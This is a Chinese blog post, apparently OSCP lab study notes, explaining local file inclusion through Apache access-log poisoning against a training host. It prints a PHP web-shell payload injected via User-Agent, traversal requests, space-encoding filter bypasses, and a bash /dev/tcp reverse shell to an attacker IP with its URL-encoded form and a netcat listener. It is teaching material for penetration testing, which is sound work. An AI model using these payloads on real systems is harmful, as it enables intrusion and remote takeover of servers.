当前位置: 首页 > news >正文

4-3〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件包含漏洞-A

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀


𖤐 现在,我们渐入佳境了,保持耐心,继续前行 ! 

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.2 文件包含漏洞概述

1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别

1.2.2 本地文件包含漏洞(LFI)

1.2.2.1 攻击思路流程

1.2.2.2 识别本地文件包含漏洞

1.2.2.3 把可执行代码写入到目标文件(access.log)

1.2.2.4 执行写入文件的代码

1.配置攻击参数

2.执行ps命令验证攻击

3.执行其他命令(需对命令进行编码)

1.2.2.5 获取反向Shell-登录到服务器

1.构建反向Shell命令

2.修改反向shell命令

3. 攻击者事先准备:打开4444端口监听

4.在Burp重放并完成反向shell

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 常见WEB应用攻击

Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵文件路径访问未授权资源

  • 📄 文件包含漏洞 - 包含恶意文件执行代码---(本文)

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行

1.2 文件包含漏洞概述

1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别

特征目录遍历漏洞文件包含漏洞
主要功能读取文件内容包含并执行文件
处理方式显示源代码执行代码
影响范围仅限于文件读取可导致代码执行

核心区别

  • 目录遍历漏洞:获取web服务器站点根目录之外的文件内容,仅允许读取文件内容

  • 文件包含漏洞:允许在应用程序的运行代码中"包含"文件,可执行本地或远程文件

💡 实际案例对比

# 目录遍历漏洞示例
访问: http://target.com/../../admin.php
结果: 显示admin.php的源代码# 文件包含漏洞示例  
访问: http://target.com/?page=../../admin.php
结果: 执行admin.php中的PHP代码

1.2.2 本地文件包含漏洞(LFI)

1.2.2.1 攻击思路流程

🎯 攻击目标:通过LFI漏洞获得远程代码执行(RCE)

攻击思路流程图

[发现LFI漏洞] → [识别可控日志点] → [注入恶意代码] → [包含日志文件] → [获得RCE]

1.2.2.2 识别本地文件包含漏洞

寻找可控点思路

  • 利用目录遍历漏洞,检查Apache日志文件 /var/log/apache2/access.log

  • 识别log日志文件中,哪些输出是用户可控制的信息字段

  • 如果找到,那么就可以再次编写可执行代码。

kali@kali:~$ curl 
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/a
pache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php 
HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 
Firefox/91.0"
...

【分析】日志条目中包含user-agent信息。发现如下:

  • User-Agent字段是用户的HTTP请求信息

  • 该信息被记录到access.log文件中

  • {脑洞大开}:在发送请求之前,可以在Burp中修改user-agent信息并指定将写入access.log文件的内容

  • 最后,通过LFI可以包含并执行日志中的内容

[攻击者] ↓ 修改User-Agent为PHP代码
[Burp Suite代理] ↓ 发送恶意请求
[目标服务器] ↓ 记录到access.log
[利用LFI] ↓ 包含access.log文件
[代码执行] ↓ 获得RCE权限

1.2.2.3 把可执行代码写入到目标文件(access.log)
  • 启动Burp,同时打开浏览器并访问 “Mountain Desserts” 网页;
  • 在该网页底部找到并点击 “Admin” 链接;
  • 切换回 Burp,打开 “HTTP history”选项卡,从中筛选出点击 “Admin” 链接时产生的相关网络请求;
  • 将筛选出的目标请求,发送到 Burp的 “Repeater”;

接下来,

  • 修改User Agent,将以下列表中的PHP代码片段包含其中。
  • 修改后,点击send。PHP代码片段被写入Apache的access.log文件中。

<?php echo system($_GET['cmd']); ?>

组成部分说明
<?php... ?>PHP 代码块标签,用于标识 PHP 代码的开始和结束范围
$_GET['cmd']获取 URL 中cmd参数的值(例如http://example.com/script.php?cmd=ls中获取ls
system()PHP 内置函数,用于执行外部系统命令,并返回命令输出结果
echosystem()函数执行命令后的结果输出到浏览器,供用户查看
整体功能接收用户通过 URL 参数传入的命令,执行该系统命令并将结果输出到网页


1.2.2.4 执行写入文件的代码

关键前提:必须事先发现LFI漏洞,然后通过包含日志文件来执行PHP代码片段。

1.配置攻击参数
参数作用示例值
page指定日志文件相对路径../../../var/log/apache2/access.log
cmd传递要执行的命令ps,只是验证命令是否起作用

参数格式:使用和号(&)作为分隔符

/meteor/index.php?page=../../../var/log/apache2/access.log&cmd=ps
2.执行ps命令验证攻击

验证流程

  • 发送简单命令(如ps)验证日志中毒是否生效

  • (切记!)再次发http请求时候,要清理User-Agent参数。因为上一步已经修改过User-Agent参数,避免重复污染日志

  • 查看响应输出:最终的Burp请求显示在下图的请求部分。发送请求后,向下滚动并在响应部分中查看命令ps成功输出结果,说明命令被执行了!从而,利用了LFI漏洞。

3.执行其他命令(需对命令进行编码)

遇到的问题:

  • 直接使用ls -la命令会触发错误

  • 根本原因:命令中的空格字符被系统错误解析

各种编码技术解决:

方法实现方式优点缺点
URL编码空格→%20简单直接可能需要多次尝试
IFS分隔符使用${IFS}代替空格绕过简单过滤需要系统支持
Tab编码空格→%09较少被检测兼容性问题

✅ 推荐方案:URL编码

# 原始命令(会报错)
ls -la# URL编码后(成功执行)
ls%20-la

我们的命令执行成功,输出ls -la的结果:

🔒 防护应对措施

  • 对用户输入进行严格过滤和编码验证

  • 限制日志文件的访问权限

  • 监控异常的User-Agent模式


1.2.2.5 获取反向Shell-登录到服务器

🎯 攻击目标升级:从命令执行到反向Shell

1.构建反向Shell命令
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

🔧 命令分解说明

命令部分功能说明技术细节
bash -i启动交互式Bash shell-i参数确保shell提供交互式输入输出
>& /dev/tcp/192.168.119.3/4444建立TCP连接重定向

>& :是一种重定向操作符,

标准输出(stdout)和标准错误(stderr)

重定向到攻击者IP:端口。

相当于在Linux系统上打开一个到远程主机

的网络连接。

0>&1输入流重定向

0 代表标准输入(stdin),1 代表标准输出(stdout)。

0>&1 表示将标准输入重定向到标准输出,也就是将

输入流通过TCP连接传输到目标主机(192.168.119.3)。

也就是说,它会将输入(stdin)流发送到先前设置的TCP连接,并且通过这个连接接收输出。

✅ 整体实现:

  • 功能本质:使被攻击的 Web 服务器启动 Bash shell,并将其输入、输出及错误流全部重定向到攻击者机器(192.168.119.3)的 4444 端口。

  • 攻击流程

    • 攻击者预先在自身机器上通过nc -nlvp 4444等工具监听 4444 端口
    • 目标服务器执行该命令后,会主动建立与攻击者机器 4444 端口的 TCP 连接
    • 攻击者通过此连接获得目标服务器的远程 shell,实现交互控制
  • 最终效果:攻击者可远程操控被攻击主机的 shell,执行各类系统命令。


2.修改反向shell命令

①强制通过bash执行

     修改缘由:由于我们通过PHP的system()函数执行命令,我们意识到命令默认可能是通过Bourne Shell(也称为sh),而不是Bash执行的,因此需要对以下命令进行改造,确保反向shell强制通过Bash执行。

改造前:bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

        我们可以通过将反向shell单行命令作为参数提供给bash -c来实现这一点,bash -c会使用Bash执行命令。

改造后:bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

详细说明:在PHP中system()函数执行的命令通常由操作系统的默认shell来处理。具体的:
①在类Unix系统(如Linux和macOS)中,system() 默认会使用系统的默认shell,通常是/bin/sh。这意味着执行的命令会通过sh来处理。
②在Windows 系统中,system()默认使用cmd.exe 来执行命令。
    所以,在Linux系统上,system()会通过sh执行命令,如果系统配置了其他默认shell(比如 bash),那么它也有可能会使用这个shell。但在大多数情况下,/bin/sh 会被用来执行命令。
示例:


这条命令会被sh解析和执行,并且输出Hello, world!。
如果你希望显式地使用某个shell(例如 bash),可以在命令中指定:


这将强制PHP使用bash来执行命令。

②URL编码

再次使用URL编码对特殊字符进行编码后,然后将要放入Burp中重放。

URL编码后:
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

3. 攻击者事先准备:打开4444端口监听

在发送请求之前,在攻击者的Kali的端口4444上启动一个 Netcat监听器。 它将接收一会来自目标 系统的反向shell。

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...# 在攻击机器上启动监听
# -n:表示不进行DNS查询,即使用数字形式的IP地址,而不是尝试解析域名
# -v:表示 verbose(详细输出)
# -l:表示监听模式,等待其他计算机或设备发起连接请求
# -p:表示监听的是4444端口

4.在Burp重放并完成反向shell

下图显示将上述命令添加到请求中的正确方法(cmd的参数)。

再次提醒:切记~删除user-agent行。

在Burp中按下发送按钮发送请求后,我们成功在Netcat监听器中接收到了反向shell。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/398868.html

相关文章:

  • 郑州网站建设国奥大厦南昌营销网站建设
  • 微服务项目->在线oj系统(Java-Spring)----7.0
  • Ant Design Vue Vue3 table 表头筛选重置不清空Bug
  • 【踩坑记录】PyTorch 被误装 CPU 版本导致 CUDA 丢失的解决办法(Windows + Anaconda)
  • 5个问题,帮你选择合适的API测试工具
  • 唐山做网站公司费用郑州做网站哪家好熊掌号
  • 为什么齐次线性方程组的系数行列式为零时有非零解?
  • Cursor Agent模式下面在指定的conda虚拟环境中执行python脚本
  • 福州网站建设加推广怎样把网站打包做百度小程序
  • 元宇宙的工业应用:数字工厂与智能制造
  • C语言程序设计笔记—printf的使用
  • 【UE5】使用虚幻引擎编辑器创建游戏
  • Nginx 部署及配置
  • 服务器建设一个自己的网站奖券世界推广网站
  • 网络编程套接字之UDP
  • 亚马逊做网站发礼物换评价动漫制作专业能选择什么职业
  • 阿里云推出全球首个全模态AI模型Qwen3-Omni,实现文本、图像、音视频端到端处理
  • git介绍
  • ELK 企业级日志分析系统实战指南
  • 可以做网站首页的图片素材上海网站优化推广
  • Node.js 性能优化:实用技巧与实战指南
  • 优化网站做内链接wordpress设置图片切换时间
  • docker 常用命令(包含:镜像、容器、网路)
  • LLJIT执行引擎:ExecutionSession与JITDylib详解
  • 小九源码-springboot038-基于springboot的中医院问诊系统
  • 【linux内核驱动day01】
  • 网站开发人员趋势外贸网站和内贸
  • 2025最新超详细FreeRTOS入门教程:第二十四章 FreeRTOS与低功耗设计
  • 如何做有效的Bug管理?
  • Metal - 4.深入剖析顶点函数(Vertex Function)